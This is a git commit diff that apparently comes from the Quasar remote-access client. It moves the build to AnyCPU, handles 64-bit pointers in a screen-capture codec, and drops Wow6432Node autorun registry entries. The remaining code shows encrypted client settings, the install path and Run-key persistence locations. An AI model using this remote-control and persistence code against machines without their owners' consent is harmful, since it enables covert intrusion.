Switch client to AnyCPU target platform

This commit is contained in:
MaxXor 2020-05-31 11:27:04 +02:00
parent f037afa694
commit e6aedc4e63
8 changed files with 40 additions and 63 deletions

View File

@ -1,5 +1,4 @@
using Quasar.Common.Cryptography;
using Quasar.Common.Helpers;
using System;
using System.IO;
using System.Security.Cryptography;
@ -41,7 +40,7 @@ public static class Settings
public static bool Initialize()
{
FixDirectory();
SetupPaths();
return true;
}
#else
@ -83,31 +82,15 @@ public static bool Initialize()
LOGDIRECTORYNAME = aes.Decrypt(LOGDIRECTORYNAME);
SERVERSIGNATURE = aes.Decrypt(SERVERSIGNATURE);
SERVERCERTIFICATE = new X509Certificate2(Convert.FromBase64String(aes.Decrypt(SERVERCERTIFICATESTR)));
FixDirectory();
SetupPaths();
return VerifyHash();
}
#endif
static void FixDirectory()
static void SetupPaths()
{
// set up paths
LOGSPATH = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), LOGDIRECTORYNAME);
INSTALLPATH = Path.Combine(DIRECTORY, (!string.IsNullOrEmpty(SUBDIRECTORY) ? SUBDIRECTORY + @"\" : "") + INSTALLNAME);
if (PlatformHelper.Is64Bit) return;
// https://msdn.microsoft.com/en-us/library/system.environment.specialfolder(v=vs.110).aspx
switch (SPECIALFOLDER)
{
case Environment.SpecialFolder.ProgramFilesX86:
SPECIALFOLDER = Environment.SpecialFolder.ProgramFiles;
break;
case Environment.SpecialFolder.SystemX86:
SPECIALFOLDER = Environment.SpecialFolder.System;
break;
}
DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER);
}
static bool VerifyHash()

View File

@ -5,18 +5,20 @@
<AssemblyName>Client</AssemblyName>
<UseWindowsForms>true</UseWindowsForms>
<GenerateAssemblyInfo>false</GenerateAssemblyInfo>
<Platforms>x86</Platforms>
<Platforms>AnyCPU</Platforms>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|x86' ">
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|AnyCPU'">
<OutputPath>..\bin\Debug\</OutputPath>
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
<DebugType>portable</DebugType>
<DebugSymbols>true</DebugSymbols>
<PlatformTarget>AnyCPU</PlatformTarget>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|x86' ">
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|AnyCPU'">
<DebugType>none</DebugType>
<OutputPath>..\bin\Release\</OutputPath>
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
<PlatformTarget>AnyCPU</PlatformTarget>
</PropertyGroup>
<PropertyGroup>
<StartupObject>Quasar.Client.Program</StartupObject>
@ -25,11 +27,8 @@
<ApplicationManifest>app.manifest</ApplicationManifest>
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="System.Configuration" />
<Reference Include="System.Management" />
<Reference Include="System.Security" />
<Reference Include="System.ServiceModel" />
<Reference Include="System.Web" />
<Reference Include="System.Windows.Forms" />
</ItemGroup>

View File

@ -6,8 +6,6 @@ public enum StartupType
LocalMachineRunOnce,
CurrentUserRun,
CurrentUserRunOnce,
LocalMachineWoW64Run,
LocalMachineWoW64RunOnce,
StartMenu
}
}

View File

@ -84,7 +84,17 @@ protected virtual void Dispose(bool disposing)
{
lock (_imageProcessLock)
{
byte* pScan0 = (byte*)scan0.ToInt32();
byte* pScan0;
if (IntPtr.Size == 8)
{
// 64 bit process
pScan0 = (byte*) scan0.ToInt64();
}
else
{
// 32 bit process
pScan0 = (byte*)scan0.ToInt32();
}
if (!outStream.CanWrite)
{
@ -367,4 +377,4 @@ public Bitmap DecodeData(Stream inStream)
return _decodedBitmap;
}
}
}
}

View File

@ -423,16 +423,12 @@ private void RefreshPreviewPath()
path =
Path.Combine(
Path.Combine(
Environment.GetFolderPath(PlatformHelper.Is64Bit
? Environment.SpecialFolder.ProgramFilesX86
: Environment.SpecialFolder.ProgramFiles), txtInstallSubDirectory.Text), txtInstallName.Text);
Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), txtInstallSubDirectory.Text), txtInstallName.Text);
else if (rbSystem.Checked)
path =
Path.Combine(
Path.Combine(
Environment.GetFolderPath(PlatformHelper.Is64Bit
? Environment.SpecialFolder.SystemX86
: Environment.SpecialFolder.System), txtInstallSubDirectory.Text), txtInstallName.Text);
Environment.GetFolderPath(Environment.SpecialFolder.System), txtInstallSubDirectory.Text), txtInstallName.Text);
this.Invoke((MethodInvoker)delegate { txtPreviewPath.Text = path + ".exe"; });
}

View File

@ -39,8 +39,6 @@ private void AddTypes()
cmbType.Items.Add("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce");
cmbType.Items.Add("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
cmbType.Items.Add("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce");
cmbType.Items.Add("HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run");
cmbType.Items.Add("HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce");
cmbType.Items.Add("%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup");
cmbType.SelectedIndex = 0;
}

View File

@ -123,13 +123,6 @@ private void AddGroups()
lstStartupItems.Groups.Add(
new ListViewGroup("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")
{Tag = StartupType.CurrentUserRunOnce});
lstStartupItems.Groups.Add(
new ListViewGroup("HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run")
{Tag = StartupType.LocalMachineWoW64Run});
lstStartupItems.Groups.Add(
new ListViewGroup(
"HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce")
{Tag = StartupType.LocalMachineWoW64RunOnce});
lstStartupItems.Groups.Add(new ListViewGroup("%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup")
{Tag = StartupType.StartMenu});
}

View File

@ -13,26 +13,26 @@ Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Quasar.Common.Tests", "Quas
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Mixed Platforms = Debug|Mixed Platforms
Release|Mixed Platforms = Release|Mixed Platforms
Debug|AnyCPU = Debug|AnyCPU
Release|AnyCPU = Release|AnyCPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Debug|Mixed Platforms.ActiveCfg = Debug|Any CPU
{14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Debug|Mixed Platforms.Build.0 = Debug|Any CPU
{14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Release|Mixed Platforms.ActiveCfg = Release|Any CPU
{14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Release|Mixed Platforms.Build.0 = Release|Any CPU
{9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Debug|Mixed Platforms.ActiveCfg = Debug|x86
{9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Debug|Mixed Platforms.Build.0 = Debug|x86
{9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Release|Mixed Platforms.ActiveCfg = Release|x86
{9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Release|Mixed Platforms.Build.0 = Release|x86
{C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Debug|Mixed Platforms.ActiveCfg = Debug|Any CPU
{C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Debug|Mixed Platforms.Build.0 = Debug|Any CPU
{C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Release|Mixed Platforms.ActiveCfg = Release|Any CPU
{C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Release|Mixed Platforms.Build.0 = Release|Any CPU
{32A2A734-7429-47E6-A362-E344A19C0D85}.Debug|Mixed Platforms.ActiveCfg = Debug|Any CPU
{32A2A734-7429-47E6-A362-E344A19C0D85}.Debug|Mixed Platforms.Build.0 = Debug|Any CPU
{32A2A734-7429-47E6-A362-E344A19C0D85}.Release|Mixed Platforms.ActiveCfg = Release|Any CPU
{32A2A734-7429-47E6-A362-E344A19C0D85}.Release|Mixed Platforms.Build.0 = Release|Any CPU
{14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Debug|AnyCPU.ActiveCfg = Debug|Any CPU
{14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Debug|AnyCPU.Build.0 = Debug|Any CPU
{14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Release|AnyCPU.ActiveCfg = Release|Any CPU
{14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Release|AnyCPU.Build.0 = Release|Any CPU
{9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Debug|AnyCPU.ActiveCfg = Debug|Any CPU
{9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Debug|AnyCPU.Build.0 = Debug|Any CPU
{9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Release|AnyCPU.ActiveCfg = Release|Any CPU
{9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Release|AnyCPU.Build.0 = Release|Any CPU
{C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Debug|AnyCPU.ActiveCfg = Debug|Any CPU
{C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Debug|AnyCPU.Build.0 = Debug|Any CPU
{C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Release|AnyCPU.ActiveCfg = Release|Any CPU
{C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Release|AnyCPU.Build.0 = Release|Any CPU
{32A2A734-7429-47E6-A362-E344A19C0D85}.Debug|AnyCPU.ActiveCfg = Debug|Any CPU
{32A2A734-7429-47E6-A362-E344A19C0D85}.Debug|AnyCPU.Build.0 = Debug|Any CPU
{32A2A734-7429-47E6-A362-E344A19C0D85}.Release|AnyCPU.ActiveCfg = Release|Any CPU
{32A2A734-7429-47E6-A362-E344A19C0D85}.Release|AnyCPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE